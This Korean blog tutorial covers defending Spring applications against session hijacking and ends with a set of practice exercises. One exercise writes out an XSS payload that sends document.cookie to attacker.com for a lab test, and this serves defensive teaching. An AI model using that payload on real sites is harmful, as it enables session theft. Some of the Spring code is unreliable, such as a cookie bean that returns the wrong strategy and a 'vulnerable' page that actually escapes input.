세션 하이재킹(Session Hijacking)이란 무엇이며, 어떻게 방어하나요?

김상욱·2025년 1월 1일
0

세션 하이재킹(Session Hijacking)이란 무엇이며, 어떻게 방어하나요?

세션 하이재킹은 공격자가 사용자의 세션 정보를 탈취하여 해당 사용자의 권한으로 시스템에 접근하는 공격 방법을 말합니다. 웹 애플리케이션에서는 일반적으로 사용자의 인증 후 세션 ID를 발급하여 사용자를 식별하고 상태를 유지합니다. 이 세션 ID를 탈취하면, 공격자는 마치 해당 사용자인 것처럼 애플리케이션을 사용할 수 있게 됩니다.

  1. 공격자는 다양한 방법으로 사용자의 세션 ID를 획득.
  • 패킷 스니핑 : 네트워크 상에서 비암호화된 HTTP 트래픽을 감청하여 세션 ID 획득
  • 크로스 사이트 스크립팅(XSS) : 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 삽입하고, 이를 통해 세션 ID를 탈취
  • 세션 고정(Session Fixation) : 공격자가 미리 정한 세션 ID를 사용자가 사용하도록 유도한 뒤, 해당 세션 ID를 이용해 접근
  1. 세션 탈취 후 악용 : 획득한 세션 ID를 사용하여 사용자의 권한으로 애플리케이션에 접근하고 데이터 탈취, 변경, 악의적인 행위 수행

세션 하이재킹 방어 방법

  1. HTTPS 사용 : HTTPS는 데이터를 암호화하여 전송하기 때문에 중간에서 패킷을 감청하더라도 세션 ID를 탈취하기 어렵습니다.
    Spring 적용 방법
  • application.properties 또는 application.yml에서 HTTPS 설정을 활성화
  • Spring Security를 사용하여 모든 요청을 HTTPS로 강제
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .requiresChannel()
            .anyRequest()
            .requiresSecure();
    }
}
  1. 세션 쿠기 보안 설정
  • HttpOnly 속성 : JavaScript에서 쿠키에 접근하지 못하게 하여 XSS 공격을 통한 세션 탈취를 방지
  • Secure 속성 : HTTPS 연결에서만 쿠키가 전송되도록 설정
  • SameSite 속성 : 크로스 사이트 요청을 제한하여 CSRF 공격을 방지
    Spring 적용 방법
@Bean
public HttpSessionStrategy httpSessionStrategy() {
    CookieSerializer serializer = new DefaultCookieSerializer();
    serializer.setUseHttpOnlyCookie(true);
    serializer.setUseSecureCookie(true);
    serializer.setSameSite("Strict");
    return new HeaderHttpSessionStrategy();
}
  1. 세션 타임아웃 설정 : 일정 시간이 지나면 세션을 만료시켜 세션 ID가 오래 사용되지 않도록 함.
    Spring 적용 방법
@Configuration
public class HttpSessionConfig {

    @Bean
    public ServletContextInitializer servletContextInitializer() {
        return servletContext -> servletContext.setSessionTimeout(30); // 30분
    }
}
  1. t세션 고정 공겨 방어 : 사용자가 로그인할 때 새로운 세션 ID를 발급하여 기존 세션 ID를 무효화
    Spring 적용 방법
    Spring Security는 기본적으로 로그인 시 새로운 세션 ID를 생성하여 세션 고정 공격을 방어합니다. 별도의 설정 없이도 보호됩니다.
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .sessionManagement()
        .sessionFixation().newSession();
}
  1. 다중 인증(Multi-Factor Authentication) 도입 : 단순히 세션 ID만으로 인증하지 않고, 추가적인 인증 수단을 요구하여 보안을 강화.
    Spring 적용 방법
    Spring Security와 함께 다양한 MFA 라이브러리를 통합하여 구현할 수 있습니다.

  2. 사용자 활동 모니터링 및 알림 : 비정상적인 사용자 활동을 모니터링하고, 의심스러운 행동이 감지되면 알림을 보내거나 세션을 종료
    Spring 적용 방법
    사용자 활동을 로깅하고, 특정 조건에 따라 세션을 만료시키는 필터를 구현할 수 있습니다.

@Component
public class SessionActivityListener implements HttpSessionListener {
    @Override
    public void sessionCreated(HttpSessionEvent event) {
        // 세션 생성 시 로깅
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent event) {
        // 세션 종료 시 로깅
    }
}
  1. 보안 헤더 설정 : 다양한 보안 헤더를 설정하여 공격 표면을 줄임
    Spring 적용 방법
    Spring Security를 사용하여 보안 헤더를 쉽게 설정할 수 있습니다.
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .headers()
            .xssProtection()
            .and()
            .contentSecurityPolicy("script-src 'self'");
}

취업 준비 중인 신입 Java/Spring 백엔드 개발자라면, 세션 하이재킹 방어에 대한 이론적인 이해뿐만 아니라 실제로 손을 움직여 실습해보는 것이 매우 중요합니다. 이를 통해 보안 개념을 깊이 있게 이해하고, 실제 프로젝트에 적용할 수 있는 능력을 키울 수 있습니다. 아래에 세션 하이재킹 방어와 관련된 실습 과제를 단계별로 제안드립니다.


1. 기본적인 Spring Boot 애플리케이션 설정

목표

  • Spring Boot 프로젝트를 생성하고, 사용자 인증 기능을 구현하여 세션 관리의 기본 개념을 이해합니다.

실습 단계

  1. Spring Initializr를 사용하여 새로운 프로젝트 생성

    • 종속성 추가: Spring Web, Spring Security, Spring Data JPA, H2 Database (개발용 인메모리 DB)
  2. 사용자 엔티티 및 리포지토리 생성

    @Entity
    public class User {
        @Id
        @GeneratedValue(strategy = GenerationType.IDENTITY)
        private Long id;
        
        @Column(unique = true)
        private String username;
        
        private String password;
        
        // Getters and Setters
    }
    
    public interface UserRepository extends JpaRepository<User, Long> {
        Optional<User> findByUsername(String username);
    }
  3. Spring Security 설정

    @Configuration
    @EnableWebSecurity
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
        @Autowired
        private UserService userService;
    
        @Override
        protected void configure(AuthenticationManagerBuilder auth) throws Exception {
            auth.userDetailsService(userService).passwordEncoder(new BCryptPasswordEncoder());
        }
    
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .authorizeRequests()
                    .anyRequest().authenticated()
                    .and()
                .formLogin()
                    .permitAll()
                    .and()
                .logout()
                    .permitAll();
        }
    }
  4. 사용자 등록 및 로그인 기능 구현

    • 간단한 회원가입 페이지와 로그인 페이지를 만들어 사용자 인증을 테스트합니다.

학습 포인트

  • Spring Security의 기본적인 인증 및 세션 관리 기능 이해
  • 사용자 엔티티와 리포지토리 구성

2. HTTPS 설정 및 적용

목표

  • HTTPS를 설정하여 데이터 전송 시 암호화를 구현하고, 중간자 공격(MITM)을 방어합니다.

실습 단계

  1. SSL 인증서 생성 (개발용)

    keytool -genkeypair -alias springboot -keyalg RSA -keysize 2048 -storetype PKCS12 -keystore springboot.p12 -validity 3650
  2. Spring Boot 애플리케이션에 SSL 설정 추가

    # application.yml
    server:
      port: 8443
      ssl:
        key-store: classpath:springboot.p12
        key-store-password: yourpassword
        key-store-type: PKCS12
        key-alias: springboot
  3. HTTP 요청을 HTTPS로 리디렉션 설정

    @Configuration
    public class HttpToHttpsRedirectConfig {
        @Bean
        public ServletWebServerFactory servletContainer() {
            TomcatServletWebServerFactory tomcat = new TomcatServletWebServerFactory() {
                @Override
                protected void postProcessContext(Context context) {
                    SecurityConstraint securityConstraint = new SecurityConstraint();
                    securityConstraint.setUserConstraint("CONFIDENTIAL");
                    SecurityCollection collection = new SecurityCollection();
                    collection.addPattern("/*");
                    securityConstraint.addCollection(collection);
                    context.addConstraint(securityConstraint);
                }
            };
            tomcat.addAdditionalTomcatConnectors(redirectConnector());
            return tomcat;
        }
    
        private Connector redirectConnector() {
            Connector connector = new Connector(TomcatServletWebServerFactory.DEFAULT_PROTOCOL);
            connector.setScheme("http");
            connector.setPort(8080);
            connector.setSecure(false);
            connector.setRedirectPort(8443);
            return connector;
        }
    }

학습 포인트

  • HTTPS 설정 방법과 SSL 인증서 관리
  • Spring Boot에서 HTTP를 HTTPS로 리디렉션하는 방법

3. 세션 쿠키 보안 설정

목표

  • 세션 쿠키에 HttpOnly, Secure, SameSite 속성을 설정하여 세션 하이재킹 공격을 방어합니다.

실습 단계

  1. 세션 쿠키 속성 설정

    @Configuration
    public class SessionConfig {
    
        @Bean
        public CookieSerializer cookieSerializer() {
            DefaultCookieSerializer serializer = new DefaultCookieSerializer();
            serializer.setUseHttpOnlyCookie(true);
            serializer.setUseSecureCookie(true);
            serializer.setSameSite("Strict");
            serializer.setCookieName("JSESSIONID");
            return serializer;
        }
    }
  2. Spring Session 사용 (옵션)

    • Redis나 JDBC를 사용하여 세션을 관리하면 추가적인 보안 설정이 가능합니다.

학습 포인트

  • 쿠키의 보안 속성 이해 및 설정 방법
  • Spring에서의 쿠키 보안 설정 적용

4. 세션 타임아웃 설정 및 테스트

목표

  • 세션 타임아웃을 설정하여 일정 시간 후 세션이 만료되도록 하고, 타임아웃 동작을 확인합니다.

실습 단계

  1. 세션 타임아웃 설정

    @Configuration
    public class HttpSessionConfig {
    
        @Bean
        public ServletContextInitializer servletContextInitializer() {
            return servletContext -> servletContext.setSessionTimeout(30); // 30분
        }
    }
  2. 타임아웃 테스트

    • 로그인 후 30분 동안 활동이 없으면 세션이 만료되고, 다시 로그인해야 하는지 확인합니다.

학습 포인트

  • 세션 관리와 타임아웃 설정의 중요성 이해
  • 실제 애플리케이션에서 세션 타임아웃 동작 확인

5. 세션 고정 공격 방어 구현

목표

  • 로그인 시 새로운 세션 ID를 발급하여 세션 고정 공격을 방어합니다.

실습 단계

  1. Spring Security의 세션 고정 보호 확인

    • Spring Security는 기본적으로 세션 고정 공격을 방어하기 위해 로그인 시 새로운 세션을 생성합니다.
    • 이를 확인하기 위해 로그인 전과 후의 세션 ID가 다른지 확인합니다.
  2. 추가 설정 (필요 시)

    @Configuration
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .sessionManagement()
                    .sessionFixation().newSession()
                    .and()
                // 기타 설정
        }
    }

학습 포인트

  • 세션 고정 공격의 원리와 방어 방법 이해
  • Spring Security의 기본 보안 기능 활용

6. 크로스 사이트 스크립팅(XSS) 방어 및 세션 하이재킹 실습

목표

  • XSS 공격을 통해 세션 ID를 탈취하는 시나리오를 구현하고, 이를 방어하는 방법을 실습합니다.

실습 단계

  1. 취약한 페이지 생성

    • 사용자 입력을 필터링 없이 출력하는 간단한 페이지를 만듭니다.
    <!-- templates/vulnerable.html -->
    <form method="GET" action="/vulnerable">
        <input type="text" name="input" />
        <button type="submit">Submit</button>
    </form>
    <p>입력값: <span th:text="${param.input}"></span></p>
  2. XSS 공격 시도

    • <script>document.location='http://attacker.com?cookie='+document.cookie</script>와 같은 스크립트를 입력하여 세션 ID를 탈취하려고 시도합니다.
    • 실제로는 외부 서버로 전송되는지 확인합니다.
  3. XSS 방어 구현

    • Thymeleaf는 기본적으로 HTML을 이스케이프하여 XSS를 방어합니다. 그러나 추가적인 방어를 위해 Content Security Policy(CSP)를 설정합니다.
    @Configuration
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .headers()
                    .contentSecurityPolicy("script-src 'self'")
                    .and()
                    .xssProtection()
                    .and()
                // 기타 설정
        }
    }
  4. 방어 후 테스트

    • 동일한 XSS 공격을 시도했을 때, 스크립트가 실행되지 않는지 확인합니다.

학습 포인트

  • XSS 공격의 위험성과 세션 하이재킹과의 연관성 이해
  • Spring Security와 CSP를 통한 XSS 방어 구현

7. 다중 인증(Multi-Factor Authentication, MFA) 도입 실습

목표

  • 단순한 세션 ID 기반 인증을 넘어 MFA를 구현하여 보안을 강화합니다.

실습 단계

  1. MFA 라이브러리 선택 및 통합

    • 예: Google Authenticator, Authy, 또는 Spring Security의 MFA 지원 기능 사용
    • 여기서는 Google Authenticator를 예로 들겠습니다.
  2. MFA 설정

    • 사용자 등록 시 MFA를 설정하고, 로그인 시 OTP(One-Time Password)를 요구하도록 설정합니다.
    • 필요한 경우, TOTP(Time-based One-Time Password) 라이브러리 사용
  3. 로그인 플로우 수정

    • 사용자가 로그인하면 첫 번째 인증(아이디/비밀번호)을 수행한 후, 두 번째 인증으로 OTP 입력을 요구합니다.

학습 포인트

  • MFA의 개념과 필요성 이해
  • Spring Security와 외부 라이브러리를 활용한 MFA 구현

8. 사용자 활동 모니터링 및 세션 관리

목표

  • 사용자 활동을 모니터링하고, 비정상적인 활동이 감지되면 세션을 종료하거나 알림을 보내는 기능을 구현합니다.

실습 단계

  1. 세션 리스너 구현

    @Component
    public class SessionActivityListener implements HttpSessionListener {
        @Override
        public void sessionCreated(HttpSessionEvent event) {
            System.out.println("세션 생성: " + event.getSession().getId());
        }
    
        @Override
        public void sessionDestroyed(HttpSessionEvent event) {
            System.out.println("세션 종료: " + event.getSession().getId());
        }
    }
  2. 활동 로깅 및 비정상 활동 감지

    • 사용자 활동(예: 요청 빈도, IP 주소 변경 등)을 로깅하고, 특정 조건에 따라 세션을 만료시킵니다.
  3. 세션 종료 로직 추가

    @Service
    public class CustomSessionService {
        public void invalidateSession(HttpSession session) {
            session.invalidate();
        }
    
        // 비정상 활동 감지 로직 구현
    }

학습 포인트

  • 세션 리스너를 통해 세션 활동을 모니터링하는 방법
  • 비정상적인 활동 감지 및 대응 전략

9. 보안 헤더 설정 및 테스트

목표

  • 다양한 보안 헤더를 설정하여 웹 애플리케이션의 보안을 강화합니다.

실습 단계

  1. 보안 헤더 설정

    @Configuration
    public class SecurityConfig extends WebSecurityConfigurerAdapter {
        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .headers()
                    .xssProtection()
                        .block(true)
                        .and()
                    .contentSecurityPolicy("default-src 'self'; script-src 'self'")
                        .and()
                    .frameOptions().deny()
                        .and()
                    .httpStrictTransportSecurity()
                        .maxAgeInSeconds(31536000)
                        .includeSubDomains(true)
                        .and()
                // 기타 설정
        }
    }
  2. 보안 헤더 테스트

    • 브라우저의 개발자 도구를 사용하여 응답 헤더에 설정한 보안 헤더가 적용되었는지 확인합니다.
    • 보안 헤더를 우회하려는 시도를 하고, 방어가 제대로 이루어지는지 테스트합니다.

학습 포인트

  • 다양한 보안 헤더의 역할과 설정 방법 이해
  • 보안 헤더를 통한 공격 표면 축소

10. 종합 프로젝트: 보안이 강화된 웹 애플리케이션 구축

목표

  • 앞서 실습한 모든 보안 기능을 통합하여, 실제로 보안이 강화된 Spring Boot 애플리케이션을 구축합니다.

실습 단계

  1. 프로젝트 설계

    • 사용자 인증, 권한 관리, 세션 관리, 보안 설정 등을 포함한 간단한 웹 애플리케이션 설계
  2. 보안 기능 통합

    • HTTPS 설정
    • 세션 쿠키 보안 설정
    • 세션 타임아웃 및 고정 공격 방어
    • XSS 및 CSRF 방어
    • MFA 도입
    • 사용자 활동 모니터링
  3. 보안 테스트 수행

    • OWASP ZAP 또는 Burp Suite와 같은 도구를 사용하여 애플리케이션의 보안 취약점을 테스트하고, 발견된 취약점을 수정
  4. 문서화

    • 구현한 보안 기능과 설정을 문서화하여, 향후 프로젝트에 참고할 수 있도록 합니다.

학습 포인트

  • 여러 보안 기능을 통합하여 실제 애플리케이션에 적용하는 경험
  • 보안 테스트 도구를 활용한 취약점 발견 및 대응

추가 자료 및 참고 문서


마무리

위의 실습 과제들은 세션 하이재킹 방어를 포함한 웹 애플리케이션 보안의 다양한 측면을 실습할 수 있도록 구성되었습니다. 각 단계마다 코드를 작성하고, 설정을 적용하며, 실제로 동작하는 애플리케이션을 통해 보안 개념을 체득할 수 있습니다. 이러한 실습을 통해 보안에 대한 이해도를 높이고, 면접 시 실질적인 경험을 어필할 수 있는 좋은 준비가 될 것입니다.

추가적으로, GitHub에 자신의 프로젝트를 공개하고, README 파일에 구현한 보안 기능과 학습 내용을 상세히 기록해두면 포트폴리오로 활용할 수 있어 더욱 좋습니다. 실습 과정에서 궁금한 점이나 어려운 부분이 생기면 언제든지 질문해 주세요!

0개의 댓글